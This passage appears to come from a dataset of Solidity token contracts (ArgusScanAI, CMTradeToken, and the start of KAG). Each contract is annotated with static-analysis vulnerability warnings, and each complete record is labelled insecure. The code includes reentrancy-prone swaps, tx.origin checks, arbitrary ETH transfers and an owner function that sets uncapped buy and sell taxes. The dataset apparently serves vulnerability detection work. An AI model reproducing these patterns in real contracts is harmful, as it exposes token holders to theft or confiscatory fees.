"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\n// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 53e7ace): ArgusScanAI.slitherConstructorVariables() performs a multiplication on the result of a division MaxWalletLimit = (_totalSupply / 100) * 2\n// Recommendation for 53e7ace: Consider ordering multiplication before division.\ncontract ArgusScanAI is Context, IERC20, Ownable {\n string private constant _name = \"Argus Scan AI\";\n\n string private constant _symbol = \"ASAI\";\n\n uint256 private constant _totalSupply = 1_000_000_000 * 10 ** 18;\n\n\t// divide-before-multiply | ID: 991dfe6\n uint256 public MaxTXLimit = (_totalSupply / 100) * 2;\n\n\t// divide-before-multiply | ID: 53e7ace\n uint256 public MaxWalletLimit = (_totalSupply / 100) * 2;\n\n\t// WARNING Optimization Issue (constable-states | ID: 701bc4d): ArgusScanAI.minSwap should be constant \n\t// Recommendation for 701bc4d: Add the 'constant' attribute to state variables that never change.\n uint256 public minSwap = 1_000_000 * 10 ** 18;\n\n uint8 private constant _decimals = 18;\n\n\t// WARNING Optimization Issue (constable-states | ID: 1c1a4dc): ArgusScanAI.InitialBuyTax should be constant \n\t// Recommendation for 1c1a4dc: Add the 'constant' attribute to state variables that never change.\n uint256 private InitialBuyTax = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: ae8dd04): ArgusScanAI.InitialSellTax should be constant \n\t// Recommendation for ae8dd04: Add the 'constant' attribute to state variables that never change.\n uint256 private InitialSellTax = 20;\n\n uint256 private FinalBuyTax = 5;\n\n uint256 private FinalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: c535e4c): ArgusScanAI.ReduceBuyTaxAt should be constant \n\t// Recommendation for c535e4c: Add the 'constant' attribute to state variables that never change.\n uint256 private ReduceBuyTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: b4d276d): ArgusScanAI.ReduceSellTaxAt should be constant \n\t// Recommendation for b4d276d: Add the 'constant' attribute to state variables that never change.\n uint256 private ReduceSellTaxAt = 20;\n\n\t// WARNING Optimization Issue (constable-states | ID: 463b815): ArgusScanAI.PreventSwapBefore should be constant \n\t// Recommendation for 463b815: Add the 'constant' attribute to state variables that never change.\n uint256 private PreventSwapBefore = 10;\n\n uint256 private BuyCount = 0;\n\n IUniswapV2Router02 immutable uniswapV2Router;\n\n address uniswapV2Pair;\n\n address immutable WETH;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 3a60d3f): ArgusScanAI.TaxWallet should be immutable \n\t// Recommendation for 3a60d3f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable public TaxWallet;\n\n uint8 private inSwapAndLiquify;\n\n\t// WARNING Optimization Issue (constable-states | ID: 342b75a): ArgusScanAI.swapAndLiquifyByLimitOnly should be constant \n\t// Recommendation for 342b75a: Add the 'constant' attribute to state variables that never change.\n bool public swapAndLiquifyByLimitOnly = true;\n\n bool public TradingStatus = false;\n\n mapping(address => bool) private _whiteList;\n\n mapping(address => uint256) private _balance;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n constructor() Ownable(msg.sender) {\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n WETH = uniswapV2Router.WETH();\n\n TaxWallet = payable(0xa7925Ce998CcB48570e8340d0163226B1c161347);\n\n _whiteList[msg.sender] = true;\n\n _whiteList[address(this)] = true;\n\n _balance[msg.sender] = _totalSupply;\n\n _allowances[address(this)][address(uniswapV2Router)] = type(uint256)\n .max;\n\n _allowances[msg.sender][address(uniswapV2Router)] = type(uint256).max;\n\n _allowances[TaxWallet][address(uniswapV2Router)] = type(uint256).max;\n\n emit Transfer(address(0), _msgSender(), _totalSupply);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _totalSupply;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balance[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: ce64ab5): ArgusScanAI.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for ce64ab5: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 9aef775): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 9aef775: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 99f7e7d): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 99f7e7d: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 9aef775\n\t\t// reentrancy-benign | ID: 99f7e7d\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 9aef775\n\t\t// reentrancy-benign | ID: 99f7e7d\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()] - amount\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 0bf7aee): ArgusScanAI._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 0bf7aee: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 99f7e7d\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 9aef775\n emit Approval(owner, spender, amount);\n }\n\n function transferToAddressETH(\n address payable recipient,\n uint256 amount\n ) private {\n\t\t// reentrancy-events | ID: 9aef775\n recipient.transfer(amount);\n }\n\n function removelimits() public onlyOwner {\n MaxTXLimit = totalSupply();\n\n MaxWalletLimit = totalSupply();\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 3442ea9): ArgusScanAI.EnableTrading(address)._Addv2Pair lacks a zerocheck on \t uniswapV2Pair = _Addv2Pair\n\t// Recommendation for 3442ea9: Check that the address is not zero.\n function EnableTrading(address _Addv2Pair) external onlyOwner {\n require(TradingStatus != true);\n\n\t\t// missing-zero-check | ID: 3442ea9\n uniswapV2Pair = _Addv2Pair;\n\n TradingStatus = true;\n }\n\n\t// WARNING Vulnerability (events-maths | severity: Low | ID: 0688842): ArgusScanAI.updateTax(uint256,uint256) should emit an event for FinalBuyTax = newBuyTax FinalSellTax = newSellTax \n\t// Recommendation for 0688842: Emit an event for critical parameter changes.\n function updateTax(uint256 newBuyTax, uint256 newSellTax) public onlyOwner {\n\t\t// events-maths | ID: 0688842\n FinalBuyTax = newBuyTax;\n\n\t\t// events-maths | ID: 0688842\n FinalSellTax = newSellTax;\n }\n\n function rescueStuckTokens(\n address[] calldata receivers,\n uint256[] calldata amounts\n ) external onlyOwner {\n require(\n receivers.length == amounts.length,\n \"Arrays must have same length\"\n );\n\n require(receivers.length > 0, \"Empty arrays\");\n\n uint256 totalAmount = 0;\n\n for (uint256 i = 0; i < amounts.length; i++) {\n require(amounts[i] > 0, \"Amount must be greater than 0\");\n\n require(receivers[i] != address(0), \"Invalid receiver address\");\n\n totalAmount += amounts[i] * 10 ** 18;\n }\n\n uint256 contractBalance = _balance[address(this)];\n\n require(\n contractBalance >= totalAmount,\n \"Insufficient contract balance\"\n );\n\n for (uint256 i = 0; i < receivers.length; i++) {\n uint256 amountWithDecimals = amounts[i] * 10 ** 18;\n\n _balance[address(this)] -= amountWithDecimals;\n\n _balance[receivers[i]] += amountWithDecimals;\n\n emit Transfer(address(this), receivers[i], amountWithDecimals);\n }\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: c7d2f96): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for c7d2f96: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function sellContractTokens(uint256 tokenAmount) external onlyOwner {\n require(\n _balance[address(this)] >= tokenAmount,\n \"Insufficient contract balance\"\n );\n\n require(tokenAmount > 0, \"Amount must be greater than 0\");\n\n uint256 tokensToSwap = tokenAmount * 10 ** 18;\n\n inSwapAndLiquify = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t// reentrancy-benign | ID: c7d2f96\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n TaxWallet,\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: c7d2f96\n inSwapAndLiquify = 0;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 2b4cf9a): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 2b4cf9a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2ce6fcd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2ce6fcd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (uninitialized-local | severity: Medium | ID: c317db5): ArgusScanAI._transfer(address,address,uint256).taxAmount is a local variable never initialized\n\t// Recommendation for c317db5: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(amount > 1e9, \"Min transfer amt\");\n\n require(\n TradingStatus || _whiteList[from] || _whiteList[to],\n \"Not Open\"\n );\n\n uint256 taxAmount;\n\n if (inSwapAndLiquify == 1) {\n _balance[from] -= amount;\n\n _balance[to] += amount;\n\n emit Transfer(from, to, amount);\n\n return;\n }\n\n if (from == uniswapV2Pair) {\n require(amount <= MaxTXLimit, \"Exceeds the MaxTXLimit.\");\n\n require(\n balanceOf(to) + amount <= MaxWalletLimit,\n \"Exceeds the maxWalletSize.\"\n );\n\n if (BuyCount < ReduceBuyTaxAt) {\n taxAmount = InitialBuyTax;\n } else if (BuyCount >= ReduceBuyTaxAt) {\n taxAmount = FinalBuyTax;\n }\n\n BuyCount++;\n } else if (to == uniswapV2Pair) {\n uint256 tokensToSwap = _balance[address(this)];\n\n if (\n tokensToSwap > minSwap &&\n inSwapAndLiquify == 0 &&\n BuyCount > PreventSwapBefore\n ) {\n if (swapAndLiquifyByLimitOnly) {\n tokensToSwap = minSwap;\n } else {\n tokensToSwap = _balance[address(this)];\n }\n\n inSwapAndLiquify = 1;\n\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = WETH;\n\n\t\t\t\t// reentrancy-events | ID: 2b4cf9a\n\t\t\t\t// reentrancy-events | ID: 9aef775\n\t\t\t\t// reentrancy-benign | ID: 99f7e7d\n\t\t\t\t// reentrancy-no-eth | ID: 2ce6fcd\n uniswapV2Router\n .swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokensToSwap,\n 0,\n path,\n address(this),\n block.timestamp\n );\n\n\t\t\t\t// reentrancy-no-eth | ID: 2ce6fcd\n inSwapAndLiquify = 0;\n }\n\n if (BuyCount < ReduceSellTaxAt) {\n taxAmount = InitialSellTax;\n } else if (BuyCount >= ReduceSellTaxAt) {\n taxAmount = FinalSellTax;\n }\n } else {\n taxAmount = 0;\n }\n\n if (taxAmount != 0) {\n uint256 taxTokens = (amount * taxAmount) / 100;\n\n uint256 transferAmount = amount - taxTokens;\n\n\t\t\t// reentrancy-no-eth | ID: 2ce6fcd\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: 2ce6fcd\n _balance[to] += transferAmount;\n\n\t\t\t// reentrancy-no-eth | ID: 2ce6fcd\n _balance[address(this)] += taxTokens;\n\n\t\t\t// reentrancy-events | ID: 2b4cf9a\n emit Transfer(from, address(this), taxTokens);\n\n\t\t\t// reentrancy-events | ID: 2b4cf9a\n emit Transfer(from, to, transferAmount);\n } else {\n\t\t\t// reentrancy-no-eth | ID: 2ce6fcd\n _balance[from] -= amount;\n\n\t\t\t// reentrancy-no-eth | ID: 2ce6fcd\n _balance[to] += amount;\n\n\t\t\t// reentrancy-events | ID: 2b4cf9a\n emit Transfer(from, to, amount);\n }\n\n uint256 amountReceived = address(this).balance;\n\n uint256 amountETHMarketing = amountReceived;\n\n if (amountETHMarketing > 0)\n transferToAddressETH(TaxWallet, amountETHMarketing);\n }\n\n receive() external payable {}\n}",
"file_name": "solidity_code_1273.sol",
"secure": 0,
"size_bytes": 16307
}
|
{
"code": "// SPDX-License-Identifier: MIT\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/utils/math/SafeMath.sol\" as SafeMath;\nimport \"@uniswap/v2-core/contracts/interfaces/IUniswapV2Factory.sol\" as IUniswapV2Factory;\nimport \"@uniswap/v2-periphery/contracts/interfaces/IUniswapV2Router02.sol\" as IUniswapV2Router02;\n\ncontract CMTradeToken is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n mapping(address => uint256) private _holderLastTransferTimestamp;\n\n bool public transferDelayEnabled = true;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 1a44935): CMTradeToken._taxWallet should be immutable \n\t// Recommendation for 1a44935: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 68c50d4): CMTradeToken._initialBuyTax should be constant \n\t// Recommendation for 68c50d4: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: a4cfb2f): CMTradeToken._initialSellTax should be constant \n\t// Recommendation for a4cfb2f: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 35;\n\n\t// WARNING Optimization Issue (constable-states | ID: 634a581): CMTradeToken._finalBuyTax should be constant \n\t// Recommendation for 634a581: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 30c1207): CMTradeToken._finalSellTax should be constant \n\t// Recommendation for 30c1207: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: c51c3da): CMTradeToken._reduceBuyTaxAt should be constant \n\t// Recommendation for c51c3da: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 9d19677): CMTradeToken._reduceSellTaxAt should be constant \n\t// Recommendation for 9d19677: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 19;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0779de9): CMTradeToken._preventSwapBefore should be constant \n\t// Recommendation for 0779de9: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 15;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 10000 * 10 ** _decimals;\n\n string private constant _name = unicode\"CMTrade\";\n\n string private constant _symbol = unicode\"CMT\";\n\n uint256 public _maxTxAmount = 300 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 300 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 003ec6e): CMTradeToken._taxSwapThreshold should be constant \n\t// Recommendation for 003ec6e: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 105 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: 172e926): CMTradeToken._maxTaxSwap should be constant \n\t// Recommendation for 172e926: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = 630 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n event MaxTxAmountUpdated(uint256 _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 419585e): CMTradeToken.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 419585e: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: f1c0fc5): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for f1c0fc5: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 8dc2155): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 8dc2155: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: f1c0fc5\n\t\t// reentrancy-benign | ID: 8dc2155\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: f1c0fc5\n\t\t// reentrancy-benign | ID: 8dc2155\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e53a201): CMTradeToken._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for e53a201: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 8dc2155\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: f1c0fc5\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 68ffe74): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 68ffe74: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tx-origin | severity: Medium | ID: 1ce0bcc): 'tx.origin'-based protection can be abused by a malicious contract if a legitimate user interacts with the malicious contract.\n\t// Recommendation for 1ce0bcc: Do not use 'tx.origin' for authorization.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: fe18998): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for fe18998: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (transferDelayEnabled) {\n if (\n to != address(uniswapV2Router) &&\n to != address(uniswapV2Pair)\n ) {\n\t\t\t\t\t// tx-origin | ID: 1ce0bcc\n require(\n _holderLastTransferTimestamp[tx.origin] < block.number,\n \"_transfer:: Transfer Delay enabled. Only one purchase per block allowed.\"\n );\n\n _holderLastTransferTimestamp[tx.origin] = block.number;\n }\n }\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n taxAmount = amount\n .mul(\n (_buyCount > _reduceSellTaxAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _taxSwapThreshold &&\n _buyCount > _preventSwapBefore\n ) {\n\t\t\t\t// reentrancy-events | ID: 68ffe74\n\t\t\t\t// reentrancy-eth | ID: fe18998\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 50000000000000000) {\n\t\t\t\t\t// reentrancy-events | ID: 68ffe74\n\t\t\t\t\t// reentrancy-eth | ID: fe18998\n sendETHToFee(address(this).balance);\n }\n }\n }\n\n if (taxAmount > 0) {\n\t\t\t// reentrancy-eth | ID: fe18998\n _balances[address(this)] = _balances[address(this)].add(taxAmount);\n\n\t\t\t// reentrancy-events | ID: 68ffe74\n emit Transfer(from, address(this), taxAmount);\n }\n\n\t\t// reentrancy-eth | ID: fe18998\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: fe18998\n _balances[to] = _balances[to].add(amount.sub(taxAmount));\n\n\t\t// reentrancy-events | ID: 68ffe74\n emit Transfer(from, to, amount.sub(taxAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: f1c0fc5\n\t\t// reentrancy-events | ID: 68ffe74\n\t\t// reentrancy-benign | ID: 8dc2155\n\t\t// reentrancy-eth | ID: fe18998\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletSize = _tTotal;\n\n transferDelayEnabled = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n\t// WARNING Vulnerability (arbitrary-send-eth | severity: High | ID: 6ffa446): CMTradeToken.sendETHToFee(uint256) sends eth to arbitrary user Dangerous calls _taxWallet.transfer(amount)\n\t// Recommendation for 6ffa446: Ensure that an arbitrary user cannot withdraw unauthorized funds.\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: f1c0fc5\n\t\t// reentrancy-events | ID: 68ffe74\n\t\t// reentrancy-eth | ID: fe18998\n\t\t// arbitrary-send-eth | ID: 6ffa446\n _taxWallet.transfer(amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: e3f3fb2): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for e3f3fb2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 540ebcc): CMTradeToken.openTrading() ignores return value by IERC20(uniswapV2Pair).approve(address(uniswapV2Router),type()(uint256).max)\n\t// Recommendation for 540ebcc: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: d9753c2): CMTradeToken.openTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for d9753c2: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: d1dadf3): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for d1dadf3: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function openTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: e3f3fb2\n\t\t// reentrancy-eth | ID: d1dadf3\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: e3f3fb2\n\t\t// unused-return | ID: d9753c2\n\t\t// reentrancy-eth | ID: d1dadf3\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: e3f3fb2\n\t\t// unused-return | ID: 540ebcc\n\t\t// reentrancy-eth | ID: d1dadf3\n IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint256).max);\n\n\t\t// reentrancy-benign | ID: e3f3fb2\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: d1dadf3\n tradingOpen = true;\n }\n\n receive() external payable {}\n\n function manualSwap() external {\n require(_msgSender() == _taxWallet);\n\n uint256 tokenBalance = balanceOf(address(this));\n\n if (tokenBalance > 0) {\n swapTokensForEth(tokenBalance);\n }\n\n uint256 ethBalance = address(this).balance;\n\n if (ethBalance > 0) {\n sendETHToFee(ethBalance);\n }\n }\n}",
"file_name": "solidity_code_1274.sol",
"secure": 0,
"size_bytes": 17178
}
|
{
"code": "// SPDX-License-Identifier: UNLICENSE\n\npragma solidity ^0.8.0;\n\nimport \"@openzeppelin/contracts/utils/Context.sol\" as Context;\nimport \"@openzeppelin/contracts/access/Ownable.sol\" as Ownable;\nimport \"@openzeppelin/contracts/interfaces/IERC20.sol\" as IERC20;\n\ncontract KAG is Context, Ownable, IERC20 {\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => uint256) private _transferFees;\n\n string private _name;\n\n string private _symbol;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 98a977b): KAG._decimals should be immutable \n\t// Recommendation for 98a977b: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint8 private _decimals;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 44e050f): KAG._totalSupply should be immutable \n\t// Recommendation for 44e050f: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 private _totalSupply;\n\n\t// WARNING Optimization Issue (immutable-states | ID: f0c81db): KAG._Devteamaddress should be immutable \n\t// Recommendation for f0c81db: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address private _Devteamaddress;\n address constant BLACK_HOLE = 0x000000000000000000000000000000000000dEaD;\n\n constructor(\n string memory name_,\n string memory symbol_,\n uint8 decimals_,\n uint256 totalSupply_\n ) {\n _name = name_;\n\n _symbol = symbol_;\n\n _decimals = 